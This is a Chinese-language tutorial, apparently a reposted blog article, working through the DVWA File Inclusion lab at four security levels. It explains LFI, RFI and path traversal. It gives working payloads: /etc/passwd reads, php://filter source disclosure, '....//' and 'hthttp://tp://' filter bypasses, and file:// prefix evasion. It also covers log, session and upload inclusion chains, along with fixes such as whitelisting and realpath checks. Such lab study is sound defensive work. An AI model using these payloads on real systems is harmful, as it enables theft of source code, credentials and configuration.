news 2026/11/2 2:43:46

DVWA文件包含漏洞:LFI/RFI、路径穿越与PHP伪协议实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
DVWA文件包含漏洞:LFI/RFI、路径穿越与PHP伪协议实战

很多人在 DVWA 里点开 File Inclusion 这个模块的第一反应是“就一个 include,能有多大事”。真上手之后会发现,这个模块的信息量比想象中大得多:它同时涉及文件包含漏洞、路径穿越、PHP 伪协议、日志与临时文件这几条完全不同的知识线,而每一条线单独拎出来都能写一整篇内容。更关键的是,文件包含漏洞在真实项目里出现的概率比 SQL 注入还高,因为很多项目在写视图加载、语言包切换、插件引入这些功能时,几乎都会写出一个接受参数并交给 include 处理的位置。本文围绕 DVWA 靶场中 File Inclusion 模块的四个安全等级,把原理讲透,把每个等级的绕过思路和动手过程记录清楚,顺便把影响范围和修复方案一起捋一遍。适合刚接触 Web 安全、想在本地环境里把包含类漏洞彻底搞明白的读者,也适合想回头检查自己项目里那些可疑 include 语句的开发者。

1. 文件包含这个模块,为什么值得单独拿来练

1.1 一个普普通通的 include 语句是怎么变成入口的

PHP 的 include 本质上就做一件事:把指定文件的字节流读进来,然后交给 PHP 解释器处理。如果文件里含有 PHP 标签包裹的代码,这段代码会被当成当前脚本的一部分执行;如果文件里没有 PHP 标签,那它的内容就原样输出到响应体里。这个设计本身没有问题,模板引擎、路由分发、语言包加载都靠它活着。问题出在“指定文件”这四个字上——当这个文件路径来自用户可控的输入,而代码里又没有做任何约束时,攻击者就能让 include 去读一个你的项目根本没打算让它读的文件。

我在本地复现过一个极简版本,把下面的代码放进一个 php 文件跑起来,行为就很直观了:

<?php $page = $_GET['page']; include($page);

请求?page=my_page.php,它正常显示页面;请求?page=/etc/passwd,它把系统账户文件的内容一屏刷出来;请求?page=http://example.com/x.txt,它去拉取远端的文本。三个请求打的是同一个入口,行为却完全不同,这就是文件包含漏洞最反直觉的地方:它没有“输入数据”,它是直接让程序去别的地方执行代码或读取内容。

从这个角度看,DVWA 的 File Inclusion 模块设置得挺聪明。它没有把四种危险情况分散到四个页面,而是在同一个 URL 参数上切换四种过滤强度,让你能直观感受到“过滤”这件事做到什么程度才算够。

1.2 DVWA 四个等级分别防住了什么

在动手之前先把这个模块的四个等级在脑子里过一遍,后面的实操会顺很多。DVWA 的安全等级调整在首页的 DVWA Security 里,也可以在配置里写死默认等级,练习时建议手动切换,每切换一档就重新看一次页面源码。

等级过滤方式典型能挡住什么典型挡不住什么
Low完全无过滤,参数直接进 include没有本地路径、绝对路径、远程地址、伪协议全部可用
Medium用str_replace删除http://、https://、../、..\直接写../的朴素穿越变形穿越、绝对路径、伪协议
High用fnmatch限定必须以file开头,或等于固定文件名大部分伪协议、远程地址file://包装器、绝对路径配合前缀
Impossible严格白名单,只允许几个固定文件全部基本没有绕过空间

这里有个容易被忽略的细节:Medium 用的是str_replace而不是正则替换,而且是“一次性”的。这个特性直接决定了后面的绕过方式,....//这种写法能生效,靠的就是替换只执行一轮,删掉一部分后剩下的拼起来刚好又是../。理解这一点,比记住那个 payload 更有价值。

另外一个常见误解是把等级理解成“从低到高对应的防护逐级增强”。防护确实在增强,但每一级防的东西方向不太一样:Low 什么都不做;Medium 是针对“字符串里出现敏感片段”做黑名单;High 是针对“文件名入口”做前缀约束;Impossible 则是彻底换了个思路——根本不让你传任意文件名。这三种思路对应现实里三种完全不同的工程做法,看官方代码的时候可以留意一下。

1.3 本地环境准备:把靶场跑起来并打开那几个开关

DVWA 的搭建方式不止一种,我这里选最省事的容器方式,因为后面涉及日志包含、会话文件包含这些内容时需要去读容器内的文件路径,用容器能保证路径和系统行为一致,排查起来也方便。

docker run -d --name dvwa -p 8080:80 vulnerables/web-dvwa

容器起来之后访问http://127.0.0.1:8080,默认账号是admin,密码是password,进去先点一下 Create / Reset Database 把库建好。然后到 DVWA Security 页面,把等级先放到 Low。

真正决定这个靶场能练到什么程度的,其实是 PHP 的几个配置项。DVWA 的 File Inclusion 模块在不同 PHP 版本下的表现差异很大,动手之前建议先看一眼当前环境的配置:

docker exec -it dvwa php -i | grep -E "allow_url_fopen|allow_url_include|open_basedir"

需要关注的三个参数:

  • allow_url_fopen:控制fopen、file_get_contents这类函数能不能处理 URL。PHP 默认是 On,影响的是读取类操作。
  • allow_url_include:控制include、require能不能处理 URL。PHP 5.2 之后默认是 Off,PHP 7.x 某些发行版默认 On,PHP 8 默认 Off。这个开关直接决定远程包含(RFI)能不能玩。
  • open_basedir:限制 PHP 只能访问指定目录。如果它能访问的范围很窄,那本地包含的空间会被压得很小。

想要完整体验远程包含,需要把allow_url_include打开。编辑容器内的php.ini,加上allow_url_include = On,然后重启容器。这一步做完之后建议用一个phpinfo()页面确认一下配置真的生效了,别凭感觉判断。

注意:这里的环境是本地一次性靶场,所有操作都在容器内部完成。同样的手法用在任何未授权的系统上都是不被允许的,练习前请确认你面对的是自己搭的环境或者明确给了授权的测试范围。

2. 原理拆解:本地包含、远程包含和那堆伪协议

2.1 LFI 与 RFI 的分界线到底在哪

文件包含漏洞在分类上通常分成两种:本地文件包含(LFI)和远程文件包含(RFI)。这个划分看起来简单,但从利用难度和影响范围来看,两者的差距比大多数人想象的要大得多。

本地文件包含指被包含的文件在服务器本机上,攻击者传的是一段能定位到本机某个文件的路径,比如/etc/passwd、../../config.php、/proc/self/environ。它的能力边界是“服务器上存在什么文件”,读得到就能看,读不到就没办法。很多场景下 LFI 看起来只能读点无所谓的系统文件,价值有限,但一旦和日志、上传、会话文件这些东西组合起来,影响会完全不同,这一点放到后面第 4 章展开。

远程文件包含指被包含的文件在远端服务器上,PHP 通过 http 或 ftp 之类的包装器把远端内容拉下来再执行。它一旦成立,攻击者可以把任意代码放到自己的服务器上,让目标去拉取执行,利用空间几乎不受限制。所以 RFI 的条件也更苛刻,必须allow_url_include = On,而且很多现代环境因为安全考虑会直接把这个开关关掉。

我在练这个模块的时候,习惯先确认当前环境是哪一档:随便造一个不存在的路径,看报错信息里有没有failed to open stream: HTTP request failed之类的内容,或者直接传一个自己可控的地址,看服务器有没有真的发出请求。这个判断很重要,因为它决定了后面是往“读文件”方向走,还是往“远程执行”方向走。

2.2 路径穿越:../ 的本质是拼接而不是过滤

路径穿越这个概念在很多教程里被讲成“用 ../ 往上跳目录”,这个说法不算错,但容易让人产生一种误解,好像服务器真的在“跳目录”。实际情况是,include拿到的路径如果是相对的,PHP 会把它和当前脚本的工作目录、include_path里配置的目录依次拼接,最终拼出一个绝对路径,然后去打开这个文件。所以../的作用是让拼接出来的路径落在预期目录之外,本质是路径解析规则的一部分。

理解这一点之后,有两个实践上的推论。

第一,绝对路径和相对穿越一样好用,甚至更好用。因为include接受绝对路径,/etc/passwd这种写法根本不需要任何../就能直接命中。很多人在 DVWA 的 Low 等级下拼命数要跳几层,其实直接传绝对路径就完事了。这个结论在真实项目里同样成立,你在排查代码的时候如果看到参数被直接丢进 include,要假设攻击者第一反应就是塞绝对路径。

第二,../能不能用,取决于过滤是怎么写的,而不是取决于它“危险不危险”。Medium 等级里str_replace把../删掉,看起来是堵住了,但因为替换只做一轮,....//这种写法在替换之后剩下的部分又会拼成../,等于绕了过去。这类“删除式过滤”的通病在于它只处理了一次,攻击者只需要让被删掉的部分不是全部就行。

具体走一遍替换过程会更清楚。字符串....//的内容是....//六个字符,str_replace从左往右找第一个匹配的../,位置落在第三个字符上,把它删掉之后,剩下的字符重新拼起来刚好又是..加一个/,也就是../。所以....//....//....//etc/passwd经过一轮替换后会变成../../../etc/passwd。

提示:判断一个过滤函数能不能绕,关键是看它是“一次性替换”还是“循环替换”,是“删除”还是“转义”。删除类的过滤几乎都有一轮替换之后重新组成危险串的空间,转义类的过滤(比如给引号加反斜杠)则要考虑后续处理会不会把转义符去掉。

2.3 PHP 伪协议速查表:不同等级下哪些还能用

伪协议是文件包含里信息量最大的一块,也是新手最容易记混的地方。它的作用是把“文件路径”变成一个可以由 PHP 流包装器解释的地址,从而让 include 去做一些原本做不到的事。常用的一共就那么几个,但每个的适用条件和限制都不同,列成表会清晰很多。

伪协议典型写法生效条件主要用途DVWA 可用等级
file://file:///etc/passwd无特殊要求读本机文件,行为与直接写路径接近Low / Medium / High
php://filterphp://filter/convert.base64-encode/resource=index.php无特殊要求读取文件内容而不执行其中的 PHP 代码Low / Medium
php://inputphp://input配合 POST 体allow_url_include = On把请求体当成 PHP 代码执行Low / Medium
data://data://text/plain;base64,xxxxallow_url_include = On直接在 URL 里嵌入内容Low / Medium
phar://phar://./upload/a.phar/x.php需要 phar 扩展触发反序列化,配合上传使用Low / Medium
zip://zip://./upload/a.zip%23x.php需要 zip 扩展从压缩包里取文件Low / Medium
http:///https://http://your-host/x.txtallow_url_include = On远程包含Low

关于php://filter有一个极其实用的点:它会按流的方式读取文件内容,不经过 PHP 解析器执行。所以在包含一个 php 文件时,如果不做编码,里面的 PHP 代码会被执行,你只能看到执行结果;而加上convert.base64-encode之后,输出的是文件的原始内容的 base64,解码之后就能看到源码。这个技巧在真实项目中用来读配置文件、读数据库连接串非常常见,也是 LFI 从“能读系统文件”升级到“能读业务源码”的关键一步。

High 等级下php://filter不能用,原因是那个fnmatch("file*", $file)的前缀判断把不以file开头的路径全拦了。php://filter开头是php,直接被拒。但file://恰好以file开头,所以 High 等级可以传file:///etc/passwd,依然读得到内容。

顺便说一句data://和php://input,这两个在 PHP 8 环境下默认不可用,因为allow_url_include默认关闭了。练习的时候如果发现这两个传过去没反应,先别怀疑 payload 写错了,回去检查配置。

3. 逐级通关记录:从 Low 到 Impossible 的完整过程

3.1 Low 等级:没有任何过滤时的最简验证路径

Low 等级的代码简单到没有任何讨论空间,参数拿过来直接进 include。这一级的价值不在于“难”,而在于它是验证环境是否正常的基准。我一般会用下面几个请求依次确认环境状态,形成一个固定的检查顺序。

第一个请求用来确认本地包含是否成立,直接传绝对路径。

http://127.0.0.1:8080/vulnerabilities/fi/?page=/etc/passwd

如果页面里刷出一串root:x:0:0:root:/root:/bin/bash这样的内容,说明本地包含成立,且当前进程有读这个文件的权限。这时候再传相对路径试试,比如数清楚层级之后写../../../../../etc/passwd,两个都能通就说明路径拼接的行为和预期一致。

第二个请求用来确认伪协议是否可用。

http://127.0.0.1:8080/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=include.php

返回的内容应该是一串 base64,拿去解码就是include.php的源码。这里有个小细节值得注意:如果直接传?page=include.php,页面显示的是被包含文件执行之后的结果,可能看起来就是一些 HTML;但加上 filter 之后就能看到里面的 PHP 代码本体,两者差别很大。这个对比最能说明“执行”和“读取”的区别。

第三个请求用来确认远程包含是否开启。

http://127.0.0.1:8080/vulnerabilities/fi/?page=http://127.0.0.1:8000/test.txt

本机起一个简单的静态服务,放一个内容为<?php echo "RFI_TEST_OK"; ?>的文本文件,请求如果返回RFI_TEST_OK,说明远程包含可用。这一条能走通,整个模块的利用上限会拔高很多。

这三步做完,其实 Low 等级就没有什么可继续的了,因为没有任何过滤,能想到的路径全都能用。真正需要动手琢磨的是后面两级。

心得:练这种靶场时,我习惯在动手前先用一个“最小可行请求”把环境状态固定下来,而不是上来就尝试各种 payload。很多所谓的“绕过失败”其实就是配置没开,花半小时怀疑人生,最后发现是allow_url_include没打开。

3.2 Medium 等级:删除式过滤的两个绕过方向

切到 Medium 之后再看源码,过滤逻辑大概长这样(简化后的等价写法):

<?php $file = $_GET['page']; $file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\\" ), "", $file ); include($file);

这段代码看着做了不少事,实际上留了两个很明显的缺口。

第一个缺口是只删了相对穿越的写法,没管绝对路径。所以最简单的绕过就是完全不穿越,直接传/etc/passwd。这个思路在前面已经说过,在 Medium 下依然成立,说明“过滤了../”这件事本身并不能防住本地包含。

第二个缺口就是前面分析过的....//变形。写完整一点是这样的:

http://127.0.0.1:8080/vulnerabilities/fi/?page=....//....//....//....//....//etc/passwd

替换逻辑把每个....//中间的../删掉一轮,剩下的字符重新拼接,最终传给 include 的路径变成../../../../../etc/passwd,指向目标文件。这里“跳几层”需要根据当前脚本所在位置去数,DVWA 的 fi 目录在vulnerabilities/fi/下,从这里到根目录一般是五层,写多了也没关系,../到根目录之后再往上跳仍然是根目录,不会报错。

远程包含方向也是同样的道理,http://被删了,那就把http://拆开写,让删除之后剩下的部分刚好拼成完整协议头:

http://127.0.0.1:8080/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1:8000/test.txt

hthttp://tp://这个字符串经过一轮替换,中间那段被删掉之后剩下的部分拼起来就是http://。这个技巧和前面的....//是同一个原理,都是利用“删除只做一轮”这个特性。理解了这一层,你会发现这类绕过并不需要背 payload,只要知道替换函数是怎么工作的,自己就能推出来。

Medium 下php://filter依然能用,因为php://里既没有../也没有http://,两个替换都碰不到它。所以读源码这条路在 Medium 等级下是畅通的,这一点很多人会忽略,只盯着穿越而不去试伪协议。

3.3 High 等级:前缀白名单留下的那条缝

High 等级的过滤换了一个方向,从黑名单改成了前缀白名单,核心逻辑大概是:

<?php $file = $_GET['page']; if( !fnmatch( "file*", $file ) && $file != "include.php" ) { echo "ERROR: File not found!"; exit; } include($file);

fnmatch做的是模式匹配,"file*"表示必须以file开头。这么一改,php://filter、data://、php://input、http://全部被拦在门外,因为它们都不以file开头。看起来防得挺严实。

但file://这个包装器恰好以file开头,它被放行了。所以 High 等级的突破口在这里:

http://127.0.0.1:8080/vulnerabilities/fi/?page=file:///etc/passwd

注意file://后面是三个斜杠,第一个斜杠是协议的一部分,剩下两个加上路径构成绝对路径。这个写法读出来的内容和直接传/etc/passwd完全一样,区别只在于它通过了前缀判断。

Windows 环境下路径写法不太一样,需要写成file:///C:/Windows/win.ini这种形式,盘符前面要带斜杠。这一点在跨平台排查的时候挺容易踩坑。

fnmatch还有一个细节值得注意:如果不加FNM_PATHNAME标志,*是可以匹配斜杠的,所以file*实际上能匹配file:///etc/passwd这样带多个斜杠的路径。这个行为正好帮了攻击者一把。

High 等级下读源码会麻烦一些,因为php://filter被拦了,而file://指向一个 php 文件时,PHP 依然会把它当代码执行,你只能看到执行结果。这时候能做的更多是读非 php 的配置文件、系统文件,或者结合日志包含的思路去读可控内容。这也说明了一个现实:过滤越严,攻击者越会转向“读可控文件”这条路,而不是硬碰硬去找文件系统的漏洞。

3.4 Impossible 等级:官方修复方式到底改了哪里

Impossible 等级的代码把整个思路换掉了,不再做任何字符串层面的过滤,而是直接列白名单:

<?php $file = $_GET['page']; if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { echo "ERROR: File not found!"; exit; } include($file);

这段代码的价值不在于“它防住了”,而在于它示范了一种正确的做法:不要试图去清洗用户传来的路径,而是让用户只能从你给定的选项里选。

这个思路在真实项目里可以直接照搬。比如视图加载的场景,不要让前端传文件名,而是传一个视图 ID,后端维护一张 ID 到文件名的映射表,找不到就拒绝。语言包切换也是同理,前端传lang=zh,后端从白名单里查,查不到就用默认语言,永远不要拼路径。

白名单还有一个隐性好处:它天然防住了路径穿越和伪协议,因为这两类攻击的前提都是“你能控制路径字符串”,而白名单根本不给这个控制权。所以从工程角度说,这比加十个str_replace都管用。

我在看这段代码的时候还注意到一个细节:判断用的是!=而不是in_array,本质上是一样的,但写法上稍显笨拙。真实项目里用数组加in_array($file, $allowed, true)会更规整,第三个参数true开启严格比较,防止0 == "abc"这类类型松散比较带来的意外。

4. 影响范围分析:文件包含为什么不止是读一个系统文件

4.1 读源码、读配置,把信息收集的上限拉高

很多人对 LFI 的印象停留在“能读/etc/passwd”,觉得这玩意儿没什么实际价值,毕竟系统账户文件里也没什么密码。这个判断在只读系统文件的前提下是对的,但 LFI 真正的威力在于它能读到业务代码和数据。

设想一个场景:某个项目把数据库连接信息写在config/database.php里,同时存在一个可以包含任意文件的入口。攻击者先用php://filter把这个文件以 base64 读出来,解码之后拿到数据库地址、账号、密码,后面的事情就不需要我多说了。整个过程不需要任何“攻击代码”,只是一次普通的 GET 请求。

同样的道理,.env文件、composer.json、.git/config、备份文件、日志文件,这些内容一旦被读出来,能拼出一张相当完整的内部结构图。我在做授权测试的时候,经常把“读源码”作为 LFI 的第一优先级目标,因为它带来的信息增量远大于读系统文件。

这里有个实际操作上的经验:读源码的时候优先找入口文件,从入口文件里找出路由配置、数据库配置、公共函数库,顺着这些线索一层层往下读。因为php://filter一次只能读一个文件,盲目读效率很低,有目的地顺着引用关系读才快。

4.2 和上传、日志、会话组合之后的攻击范围变化

单纯的文件包含,能力上限是“读服务器上已有的文件”。一旦和“能往服务器上写文件”的功能组合起来,事情的性质就变了。

第一条路是文件上传。很多项目有上传头像、上传附件的功能,会对文件类型做校验,防止上传可执行脚本。但校验往往只挡“直接访问执行”这一条路,如果同时存在 LFI,攻击者可以上传一个图片马或者一个内容可控的文本文件,再通过 LFI 把它包含进来。这时候文件本身的扩展名已经不重要了,因为它是被 include 拉进来的,PHP 认的是内容里的标签,而不是文件名。

第二条路是日志文件。Web 服务器的访问日志会把请求行、User-Agent、Referer 这些内容原样记录到文件里。如果这些内容中有攻击者可控的部分,而且日志文件本身可以被 LFI 读到,那就等于多了一个“可写可读”的临时存储。DVWA 环境里日志的位置通常在容器的/var/log/apache2/access.log,具体路径可以用docker exec进去ls一下确认。

我在本地验证这个思路的时候,用的载荷是一段只会输出固定字符串的 PHP 片段,把它放在 User-Agent 里发一次请求,再去包含日志文件,看响应里有没有那个固定字符串。这个验证方式足够说明链路是否成立,又不涉及任何危险代码。

第三条路是会话文件。PHP 默认把 session 数据存在文件里,文件名是sess_加上 session id,路径一般写在session.save_path里,容器环境下常见的是/var/lib/php/sessions或者/tmp。如果项目里有某个地方能把用户输入写进 session,那就又多了一条可控内容写入的路径。

组合方式前提条件需要确认的关键点
上传 + 包含存在文件上传功能,且上传目录可读上传文件的落盘路径、扩展名限制、是否会被重命名
日志 + 包含Web 服务日志路径可读,且请求头会被记录日志具体路径、日志轮转策略、是否有权限读
会话 + 包含能把可控内容写进 session,且 session 文件可读session.save_path、session id 是否能被指定
临时文件 + 包含存在上传动作会产生临时文件临时文件目录、文件存活时间

4.3 影响范围是怎么被一层层放大的

把上面几条组合路整理一下,会发现文件包含的影响范围其实是一个逐级放大的过程,每一级的前提条件都比上一级更苛刻,但一旦满足,后果也更严重。

第一级是信息泄露。只要 LFI 成立,就必然能读服务器上有权限读的文件,源码、配置、密钥、内部文档都在这个范围内。这一级的门槛最低,几乎所有 LFI 都能做到。

第二级是逻辑绕过。有些项目会用include做权限判断或者模块加载,如果包含的路径可控,攻击者可能绕过某些页面级的检查,直接进入只有特定角色才能看到的模块。这一级不涉及代码执行,但足以造成越权。

第三级是代码执行。当 LFI 能读到攻击者可控的内容,并且这些内容里含有 PHP 标签时,就升级成了代码执行。远程包含、上传组合、日志组合、会话组合,走的都是这条路。这一级的门槛取决于环境配置,但一旦成立,影响就是整台服务器。

我在整理这部分的时候有个感受:很多人评估 LFI 的时候只看“能不能读到东西”,而不去评估“能不能写进去”。实际上后者才是决定风险等级的关键,因为读的边界是已有的文件,写的边界才是不确定的。做资产梳理的时候,看到可疑的 include 入口,除了测试读取,还要顺手看一下附近有没有上传、留言、日志记录这类能写入的功能,两者凑在一起才是真正需要优先处理的问题。

5. 常见问题排查与防护自查

5.1 现象与原因对照表

练这个模块的时候会遇到一些看起来莫名其妙的现象,绝大多数都不是 payload 写错了,而是环境、路径、权限这些外围因素在捣乱。我把遇到过的整理成一张表,方便对照排查。

现象可能原因排查方式
页面空白,没有任何输出被包含的文件里只有 PHP 代码且执行无输出,或者文件为空换一个非 php 文件测试,比如/etc/hostname
报failed to open stream: No such file路径层级数错了,或者目标文件确实不存在先从绝对路径开始测,确认能读再改相对路径
报URL file-access is disabledallow_url_include为 Off检查 php.ini,确认配置已生效
传php://filter返回原文而不是 base64filter 写法有误,或者过滤把php开头拦掉了检查当前等级,High 下会被前缀判断拦截
包含日志文件返回空日志路径不对,或者权限不足进容器ls -l看日志文件的实际位置和权限
报open_basedir restriction in effectopen_basedir限制了访问范围检查 php.ini 里的open_basedir配置
传相对路径时提示找不到文件当前工作目录不是脚本所在目录用__DIR__打印一下实际目录,再数层级

这张表里最值得说的是第一行。“页面空白”是新手最容易卡住的现象,因为没有任何报错,看起来像什么都没发生。实际情况往往是被包含的文件里全是 PHP 代码,执行之后没有任何输出,或者文件本身是空的。这时候换一个纯文本文件(比如/etc/hostname)去测,立刻就能判断包含链路是否正常。

5.2 几个实操中踩过的坑

第一个坑是层级数错。相对路径的穿越层数取决于脚本运行时的当前工作目录,而不是你浏览器地址栏里看到的 URL 结构。这两个东西经常不一致,因为很多框架会把入口文件放在根目录,然后通过路由把请求分发到深层目录的控制器。我在 DVWA 里没遇到过这个问题,因为它的结构很平,但在别的练习环境里被坑过好几次,最后养成一个习惯:不确定就先用绝对路径,能读通再回头算相对层级。

第二个坑是PHP 版本差异。老教程里常见的%00截断写法,在 PHP 5.3.4 之后就已经被移除了,现在传过去只会当成普通字符处理。同样,data://和php://input在 PHP 8 下默认不可用,因为allow_url_include默认关闭。看教程的时候一定要留意它的 PHP 版本,不然会浪费大量时间在“为什么我的 payload 没反应”上。

第三个坑是日志包含时的日志轮转。有些环境的日志文件会在凌晨切分,你晚上写的 User-Agent 第二天早上去读,可能已经在新文件里了。这个坑比较隐蔽,因为白天测试一切正常,换个时间就不行。遇到这种情况,同时试一下access.log和access.log.1,或者直接看目录里文件的修改时间。

第四个坑是权限问题。文件存在不等于能读。Web 服务的运行用户往往权限很低,像/etc/shadow这种文件是读不到的,/var/log下的日志也要看具体的权限设置。排查的时候不要只判断“文件在不在”,还要判断“当前进程能不能读”。

提示:排查这类问题,最快的办法是去看被包含文件的实际返回内容和 Web 服务的错误日志。DVWA 环境下可以用docker logs dvwa看容器输出,比在页面上猜要高效得多。

5.3 从代码层面把这类漏洞堵死

防护这件事,说到底是把“用户控制路径”这个前提消掉。我把常见的做法按可靠程度排个序,排在前面的优先采用。

白名单映射是最彻底的做法。前端传一个短标识,后端用数组映射到具体文件,找不到就返回默认值。这个方案的好处是它从根源上不给路径控制权,无论攻击者传什么畸形内容都不会被当成路径使用。DVWA 的 Impossible 等级用的就是这个思路。

<?php $allowed = [ 'home' => __DIR__ . '/pages/home.php', 'about' => __DIR__ . '/pages/about.php', ]; $key = $_GET['page'] ?? 'home'; $file = $allowed[$key] ?? $allowed['home']; include($file);

这段代码里,$key无论传什么,最终落到$file的只可能是数组里的三个值之一,路径穿越和伪协议都无从谈起。

固定目录 + 路径规范化适合无法枚举全部文件的场景,比如插件系统。做法是先拼出绝对路径,再用realpath规范化,最后判断规范化之后的结果是不是还在允许的目录下。

<?php $base = realpath(__DIR__ . '/themes'); $target = realpath($base . '/' . $_GET['theme'] . '.php'); if ($target === false || strpos($target, $base) !== 0) { exit('invalid theme'); } include($target);

这里的关键是realpath会把../和符号链接都解析掉,得到一个真实路径,然后再判断前缀。用strpos(...) !== 0而不是strncmp,是为了避免路径片段匹配错误的边界问题,比如/var/www/themes_backup这种目录名同样以/var/www/themes开头。

关闭不必要的配置项是最后一道保险。allow_url_include在绝大多数业务里都用不到,直接设为 Off,远程包含这条路就断了。allow_url_fopen看业务需要,如果确实要请求外部资源,也应该用 curl 这类可控的方式而不是流包装器。open_basedir可以把 PHP 的文件访问限制在项目目录内,虽然会影响一些第三方库,但在容器化部署的环境里配置起来成本不高。

防护手段实现成本防护效果适用场景
白名单映射低高视图、语言包、页面模块加载
路径规范化 + 前缀校验中高插件、主题、可扩展目录
关闭allow_url_include极低中(只防远程)所有项目
设置open_basedir中中容器化部署
输入过滤(黑名单)低低不建议单独使用

最后再补一个自查的经验:翻项目代码的时候,直接全局搜索include、require、include_once、require_once这四个关键字,把参数来源是$_GET、$_POST、$_REQUEST、$_COOKIE的位置全部标出来,一个一个确认有没有做白名单。这个方法笨,但覆盖率高,我每次做代码审计都是从这里开始的。真正容易被忽略的不是那些一眼就能看出问题的写法,而是藏在函数封装里的——比如某个公共函数接收一个$template参数然后内部 include,调用方传了用户输入进来,光看函数本身完全看不出问题。所以搜索完之后还要顺着调用链往上找一层,确认参数到底从哪来。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/11/2 2:43:22

APQP:汽车行业产品质量策划的核心方法与实战解析

1. APQP概述&#xff1a;产品开发的质量基石APQP&#xff08;Advanced Product Quality Planning&#xff0c;先期产品质量策划&#xff09;是汽车行业广泛采用的一套结构化产品开发方法&#xff0c;它源于美国汽车工业行动集团&#xff08;AIAG&#xff09;的标准框架。这套方…

作者头像 李华
网站建设 2026/11/2 2:43:21

前端拖拽交互进阶:从原生API到企业级解决方案

1. 为什么前端开发者需要超越原生拖拽在Web开发领域&#xff0c;拖拽交互&#xff08;Drag and Drop&#xff09;早已成为提升用户体验的关键技术之一。HTML5原生提供的拖拽API&#xff08;如draggable属性和相关事件&#xff09;确实能够实现基础功能&#xff0c;但在实际企业…

作者头像 李华
网站建设 2026/11/2 2:43:20

NetApp FAS3200日常健康检查闭环指南

简介&#xff1a;本资源是一份面向IT运维工程师、存储系统管理员及NetApp技术初学者的FAS系列存储日常维护实战手册&#xff0c;聚焦硬件管理、故障诊断与安全运维等核心场景。手册内容覆盖FAS3200系列设备说明、System Manager图形界面与CLI命令行双路径管理、标准开关机流程、…

作者头像 李华
网站建设 2026/11/2 2:42:43

Git误操作急救指南:从恢复提交到找回分支

1. Git误操作急救指南&#xff1a;从恐慌到从容每次在终端敲下git命令后按下回车的那一刻&#xff0c;我的心跳都会漏半拍——特别是在执行那些带有--hard或-f参数的操作时。上周五下午4:52分&#xff0c;当我意识到自己刚刚用git reset --hard HEAD~3抹去了三天的代码修改时&a…

作者头像 李华
网站建设 2026/11/2 2:42:40

天地图key申请全流程:从注册认证到配置排错实战指南

地图服务开发这件事&#xff0c;绕不开的第一个坎儿往往不是代码写不出来&#xff0c;而是拿不到那把“钥匙”。我做地理信息相关的项目断断续续有几年了&#xff0c;从最早给本地生活服务做门店分布图&#xff0c;到后来给物流调度系统做路径可视化&#xff0c;再到帮朋友的小…

作者头像 李华
网站建设 2026/11/2 2:42:40

静电除霜技术:低能耗高效除冰解决方案

1. 静电高效除霜技术概述静电除霜技术是一种利用静电力场作用实现表面除冰的新型方法。与传统热力除霜相比&#xff0c;它最大的优势在于能耗极低&#xff0c;仅需传统方法1/10的能耗就能达到相同除霜效果。这项技术特别适合解决冬季寒冷地区各种设备表面的结冰问题。我在工业设…

作者头像 李华